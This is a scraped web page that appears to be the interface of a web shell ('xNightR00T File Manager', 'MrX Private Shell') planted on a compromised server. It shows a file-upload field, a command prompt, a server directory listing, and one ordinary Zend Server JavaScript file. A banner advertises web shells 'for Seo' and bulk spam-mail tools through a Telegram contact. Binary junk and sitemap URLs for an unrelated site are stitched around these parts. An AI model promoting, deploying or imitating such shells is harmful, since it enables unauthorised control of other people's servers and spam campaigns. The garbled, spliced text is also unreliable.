xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
var zgridEventDetails = new Class({
	Implements: [Events,Options],
	
	prefix: '',
	
	getOptions: function(){
		return {
			url: null,
			maxServers: 3
		};
	},
	
	initialize: function(options){
		this.setOptions(this.getOptions(), options);
	},
	
	onLoadData: function (data, response)
	{		
		if (response) {
			var rowContent = this.getRow(response.responseData);
		
			$(data.rowId).set('html', rowContent);
                        
			var myVerticalSlide = new Fx.Slide('tableDescContent_' + data.id);
			myVerticalSlide.hide();
			myVerticalSlide.slideIn();
		}
	},
	
	loadData: function(data)
	{
		if (!this.options.url)
			return;
		
		this.prefix = data.prefix;

		var params = {
			issueId: data.id,
			limit:	this.options.maxServers
		};
		
		var request = new Request.WebAPI({url: this.options.url, data:params});

		request.addEvent("complete", this.onLoadData.bind(this, data) ) ;

		request.get();
	},
	
	getRow: function(data) {
		var template =
			'<div class="tableDescContent" id="tableDescContent_' + data.issue.id + '"> \
			<div class="descRight"> \
			<table>';
		
		var counter = 0;
		
		var parent = this;
		
		data.eventsGroups.some( function(item) {
			if (counter >= parent.options.maxServers) { 
				return true;
			}
			
			template += '<tr>';
			if (counter == 0) {
				template += '<td>'+_t('Servers')+'</td>'; 
			} else {
				template += '<td></td>';
			}
			
			template += '<td><div title="Server Name" style="width: 100px;" class="ellipsis_wrp">' + item.serverName + '</div></td>';
			template += '<td>' + this.getCount(item.eventsCount) + '</td>';
			
			var eventDate = formatDate(item.startTimeTimesatmp);
			template += '<td>' + eventDate + '</td>';
			template += '</tr>';
			
			counter++;
		}.bind(this));
		template += '<tr><td colspan="4"><a href="/ZendServer/#!/monitoring/events/' + data.issue.id + '" class="more-details" >' + _t('More Details') + '</a></td></tr>';
		template += '</table></div> \
			<div class="descLeft"> \
				<table>';
		
		var fields = new Array();
		fields = this.getFields(data.issue);
		
		if (fields.length > 0) {
			for (i = 0; i < fields.length; i++) {
				var fieldType = fields[i];
				var fieldData = this.getFieldName(fieldType);				
				var fieldName = fieldData[0];
				var fieldUnits = fieldData[1];

				var fieldValue = this.clean(this.getFieldData(fieldType, data));
				var value = fieldValue + fieldUnits;
				// if empty value - nothing to show
				if (! fieldValue) {
					continue;
				}
				if (fieldType == 'url') {
					value = '<a target="_blank" href="' + fieldValue + '">' + fieldValue + '</a>';
				}
				template += '<tr> \
						<td ' + ((i == 0) ? 'style="min-width: 100px;"' : '') + '>' + fieldName + '</td> \
						<td ' + ((i == 0) ? 'style="width: 100%;"' : '') + '>' + value + '</td> \
						</tr>';
			}
		}
		
		template += '</table></div><div class="clear"></div></div>';
		
		return template;
	},
	
	getFieldData: function(field, data) {
		if (field == 'whatHappened') {
			return this.whatHappened(data.issue.whatHappenedDetails, data.issue);
		}
		
		if (data.issue.generalDetails[field] != undefined) {			
			return data.issue.generalDetails[field];
		}		
		
		if (data.issue[field] != undefined) {			
			return data.issue[field];
		}

		value = data.eventsGroups[0][field];
		if (field == 'relExecTime' || field == 'relMemUsage' || field == 'relOutputSize') {
			value = Math.round(value);
		}		
		
		return value;
	},
	
	clean: function(value) {		
		var cleaner = new Element('div');
		cleaner.set('text', value);
		
		return cleaner.get('html');
	},
	
	getCount: function(value) {
		if (value > 1000) {
			value = Math.floor(value / 1000) + "k";
		}
		return '<div title="Events Count" class="issues-count-wrapper"><div class="issues-count">' + value + '</div></div>';
	},
	
	getFieldName: function(fieldType) { // return name to be displayed, and also unit suffix if applicable
		switch (fieldType) {
			case 'url': return new Array('Sample URL', '');
			case 'whatHappened': return new Array('Summary', '');			
			case 'function': return new Array('Function Name', '');
			case 'customEventClass': return new Array('Class Name (custom)', '');
			case 'errorType': return new Array('Error Type', '');
			case 'sourceFile': return new Array('Source File', '');
			case 'errorString': return new Array('Error String', '');
			case 'memUsage': return new Array('Memory Usage', 'KB');
			case 'execTime': return new Array('Execution Time', 'ms');
			case 'relExecTime': return new Array('Relative Execution Time', '%');
			case 'relMemUsage': return new Array('Relative Memory Usage', '%');
			case 'relOutputSize': return new Array('Relative Output Usage', '%');
			case 'routeDetails': return new Array('Route', '');
			default: return new Array('', '');
		}
	},
	
	getFields: function(issue) {
		eventType = parseInt(issue.eventType);
		switch (eventType) {
			case 0: // ZM_TYPE_CUSTOM
				return new Array('url', 'routeDetails', 'whatHappened', 'customEventClass', 'sourceFile', 'errorString');
			case 1: // ZM_TYPE_FUNCTION_SLOW_EXEC
				return new Array('url', 'routeDetails',  'function', 'sourceFile', 'execTime');
			case 2: // ZM_TYPE_FUNCTION_ERROR
				return new Array('url', 'routeDetails',  'function', 'sourceFile');
			case 3: // ZM_TYPE_REQUEST_SLOW_EXEC, ZM_TYPE_REQUEST_RELATIVE_SLOW_EXEC
  				if (issue.whatHappenedDetails.relExecTime > 0) {// REL
  					return new Array('url', 'routeDetails',  'relExecTime', 'execTime');
  				} else { // ABS
  					return new Array('url', 'routeDetails',  'execTime');
  				}
			case 4: // ZM_TYPE_REQUEST_RELATIVE_LARGE_MEM_USAGE, ZM_TYPE_REQUEST_LARGE_MEM_USAGE
  				if (issue.whatHappenedDetails.relMemUsage > 0) {// REL
  					return new Array('url', 'routeDetails',  'relMemUsage', 'memUsage');
  				}else { // ABS
  					return new Array('url', 'routeDetails',  'memUsage');
  				}  	
			case 5: // ZM_TYPE_REQUEST_RELATIVE_LARGE_OUT_SIZE
				return new Array('url', 'routeDetails',  'relOutputSize');
			case 6: // ZM_TYPE_ZEND_ERROR
				return new Array('url', 'routeDetails',  'function', 'errorType', 'sourceFile', 'errorString');
			case 7: // ZM_TYPE_JAVA_EXCEPTION
				return new Array('url', 'routeDetails',  'function', 'sourceFile', 'errorString');
			case 8: // ZM_TYPE_JQ_JOB_EXEC_ERROR
			case 9: // ZM_TYPE_JQ_JOB_LOGICAL_FAILURE
			case 10: // ZM_TYPE_JQ_JOB_EXEC_DELAY
			case 12: // ZM_TYPE_TRACER_FILE_WRITE_FAIL
				return new Array('whatHappened');
			default:
				return new Array('url', 'routeDetails',  'function', 'errorType', 'sourceFile', 'errorString');
		}
	},	

	whatHappened: function(value, data) {
		var eventType = data.eventType.toInt();
		
		switch (eventType) {
			case 0: // ZM_TYPE_CUSTOM
				return this.clean('Custom event triggered from ' + data.generalDetails.sourceFile);
			case 1: // ZM_TYPE_FUNCTION_SLOW_EXEC
				return this.clean('Function ' + data.generalDetails.function + '() took ' + value.execTime + 'ms');
			case 2: // ZM_TYPE_FUNCTION_ERROR
				return this.clean('Function ' + data.generalDetails.function + '() returned false');
			case 3: // ZM_TYPE_REQUEST_RELATIVE_SLOW_EXEC, ZM_TYPE_REQUEST_SLOW_EXEC
  				if (value.relExecTime > 0) {// REL
  	  				return this.clean('Request to ' + data.generalDetails.url + ' took ' + Math.round(value.relExecTime) + '% more than normal');
  				}else { // ABS
  	  				return this.clean('Request to ' + data.generalDetails.url + ' took ' + value.execTime + 'ms');
  				}  							
			case 4: // ZM_TYPE_REQUEST_RELATIVE_LARGE_MEM_USAGE, ZM_TYPE_REQUEST_LARGE_MEM_USAGE
  				if (value.relMemUsage > 0) {// REL
  	  				return this.clean('Request to ' + data.generalDetails.url + ' consumed ' + Math.round(value.relMemUsage) + '% more than normal');
  				}else { // ABS
  	  				return this.clean('Request to ' + data.generalDetails.url + ' consumed ' + value.memUsage + 'KB');
  				}  	
			case 5: // ZM_TYPE_REQUEST_RELATIVE_LARGE_OUT_SIZE
				return this.clean('Request to ' + data.generalDetails.url + ' generated output of ' + Math.round(value.relOutputSize) + '% more than normal');
			case 6: // ZM_TYPE_ZEND_ERROR
				return this.clean('Function ' + data.generalDetails.function + '() caused a ' + data.generalDetails.errorType + ' PHP error');
			case 7: // ZM_TYPE_JAVA_EXCEPTION
				return this.clean('Function ' + data.generalDetails.function + '() caused a Java Exception');
			case 8: // ZM_TYPE_JQ_JOB_EXEC_ERROR
				return this.clean('Job execution of ' + data.generalDetails.url + ' ended with error');
			case 9: // ZM_TYPE_JQ_JOB_LOGICAL_FAILURE
				return this.clean('Job execution of ' + data.generalDetails.url + ' ended with logical error');
			case 10: // ZM_TYPE_JQ_JOB_EXEC_DELAY
				console.log(data.generalDetails);
				return this.clean('Job execution of ' + data.generalDetails.url + ' is delayed');
			case 12: // ZM_TYPE_TRACER_FILE_WRITE_FAIL
				return this.clean('Failed to write codetrace');// would have been nice to show related data (filename and error), but we don't have this data here 
			default:
				return this.clean("Unknown event type '" + eventType + "'");
		}
	}
});

Filemanager

Name Type Size Permission Actions
ammap Folder 0755
datepicker Folder 0755
deploymentLibraries Folder 0755
devbar Folder 0755
highcharts Folder 0755
highcharts-new Folder 0755
highstock Folder 0755
monitor Folder 0755
plugins Folder 0755
simplemodal Folder 0755
uploader Folder 0755
FormWizard.js File 6.84 KB 0644
FragmentManager.js File 4.5 KB 0644
Fx.Scroll.Carousel.js File 2.84 KB 0644
Spinner.js File 11.52 KB 0644
TabPane.Extra.js File 1.36 KB 0644
TabPane.js File 2.46 KB 0644
ToolTip.js File 8.47 KB 0644
charts.js File 12.38 KB 0644
debuggerSettings.js File 6.98 KB 0644
defineWizard.js File 2.81 KB 0644
deploymentWizard.js File 5.04 KB 0644
ellipsis.js File 4.01 KB 0644
filter.js File 35.59 KB 0644
floatingtips.js File 8.88 KB 0644
general.js File 9.45 KB 0644
highlighter.js File 3.16 KB 0644
init.js File 5.76 KB 0644
integrateWizard.js File 2.13 KB 0644
ipwidget.js File 1.85 KB 0644
monitorRules.js File 699 B 0644
mootools-autocompleter-1.2.js File 11.67 KB 0644
mootools-more.js File 340.68 KB 0644
mootools.js File 143.5 KB 0644
onOffButton.js File 1.96 KB 0644
persistantHeaders.js File 7.28 KB 0644
placeholder.js File 970 B 0644
pluginDeploymentWizard.js File 3.58 KB 0644
plugins.js File 9.23 KB 0644
searchField.js File 3.16 KB 0644
toast.js File 8.41 KB 0644
valuesList.js File 1.74 KB 0644
version.js File 1.35 KB 0644
z-ray-libs.js File 543.21 KB 0644
z-ray-libs.min.js File 495.1 KB 0644
z-ray-libs.min.js.map File 594.33 KB 0644
zPicker.Date.js File 166 B 0644
zendcom.js File 5.35 KB 0644
zgrid.js File 14.99 KB 0644
zgrid2.js File 31.71 KB 0644
zgridApplicationInfo.js File 14.01 KB 0644
zgridAuditInfo.js File 4.89 KB 0644
zgridDirectives.js File 16.83 KB 0644
zgridEventDetails.js File 9.13 KB 0644
zgridJobDetails.js File 1.42 KB 0644
zgridLibraryDetails.js File 6.1 KB 0644
zgridPluginInfo.js File 6.96 KB 0644
zgridPolling.js File 2.14 KB 0644
zgridQueueDetails.js File 1.42 KB 0644
zgridServerDetails.js File 5.16 KB 0644
zgridVhostInfo.js File 12.79 KB 0644
zmenu.js File 6.12 KB 0644
zpager.js File 4.7 KB 0644
zsLicenseValidation.js File 2.34 KB 0644
zswebapi.js File 2.29 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml